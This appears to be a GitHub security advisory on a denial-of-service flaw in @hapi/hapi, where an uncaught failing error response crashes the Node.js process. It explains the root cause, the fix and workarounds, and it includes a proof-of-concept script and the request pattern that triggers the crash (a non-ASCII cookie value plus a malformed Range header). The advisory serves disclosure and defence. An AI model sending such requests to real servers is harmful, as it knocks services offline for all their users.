Skip to main content
Menu
Advisories

@hapi/hapi error response after a failed transmission can stop the Node.js process

GHSA-2CR6-6M25-3Q96Published Updated GitHub

Description

When hapi cannot send a response, it sends an error response instead. If the error response also fails, nothing catches the error and the Node.js process stops. A request without authentication can cause this when the application writes request text into a cookie.

Details

Root cause

When the transmission of a response fails, exports.send() sends an error response with internals.fail(). This second transmission has no error handling:

catch (err) {
    Bounce.rethrow(err, 'system');
    request._setResponse(err);
    return internals.fail(request, err);
}

The request lifecycle does not wait for this promise. If internals.fail() throws, the result is an unhandled rejection and Node.js stops the process.

The error response can fail for the same cause as the first response:

  • Invalid cookie value
  • Invalid status message

Fix

If the error response also fails, hapi now logs the error with the response and error tags and closes the connection. hapi does not try to send another response, so this step cannot fail again:

catch (err) {
    Bounce.rethrow(err, 'system');
    request._setResponse(err);
    request._log(['response', 'error'], err);
    request.raw.res.destroy();                                  // Cannot send any response
}

hapi also removes an invalid status message after the first failure, as it already does for invalid headers. For the invalid status message, the client now gets a 500 response. For the invalid cookie value, hapi sends a 500 response or closes the connection. In both cases, the process continues.

Every release of @hapi/hapi from 17.9.0 up to and including 21.4.10 is affected. The deprecated unscoped hapi package is also affected (tested on 17.0.0) and will not get a fix.

Workarounds

Use encoding: 'base64json' or encoding: 'base64' with server.state() for each cookie that contains request text. Alternatively, reject non-ASCII characters before you call h.state(). Do not give request text to response.message().

References

Proof of concept

Install @hapi/hapi@21.4.10, then run this script. The route writes a query parameter into a cookie with the default cookie options.

'use strict';

const Hapi = require('@hapi/hapi');

const main = async () => {

    const server = Hapi.server({ host: '127.0.0.1' });
    server.route({ method: 'GET', path: '/', handler: (request, h) => h.response('ok').state('lang', request.query.lang || 'en') });
    await server.start();
    process.on('exit', (code) => console.log('  process exit code:', code));

    for (const [lang, headers] of [['fr', {}], ['日本語', { range: 'bytes=abc' }]]) {
        const res = await fetch(`${server.info.uri}/?lang=${encodeURIComponent(lang)}`, { headers })
            .catch((err) => ({ status: `connection closed (${err.cause?.code})` }));

        console.log(`  lang=${lang} range=${headers.range ?? '-'} -> ${res.status}`);
    }

    await server.stop();
};

main();

Output with @hapi/hapi 21.4.10:

  lang=fr range=- -> 200
  process exit code: 1
TypeError [ERR_INVALID_CHAR]: Invalid character in header content ["set-cookie"]

Output with @hapi/hapi 21.4.11:

  lang=fr range=- -> 200
  lang=日本語 range=bytes=abc -> connection closed (UND_ERR_SOCKET)
  process exit code: 0

Impact

This is a denial of service: one request stops the whole Node.js process, and all requests in progress fail. Applications are affected when they write request text into a cookie without encoding, or give request text to response.message(). A language or theme preference copied from the query string into a cookie is a usual example. The attacker needs no credentials, and can send the request again after each restart.

Affected versions

References

GitHub · hapijs/hapi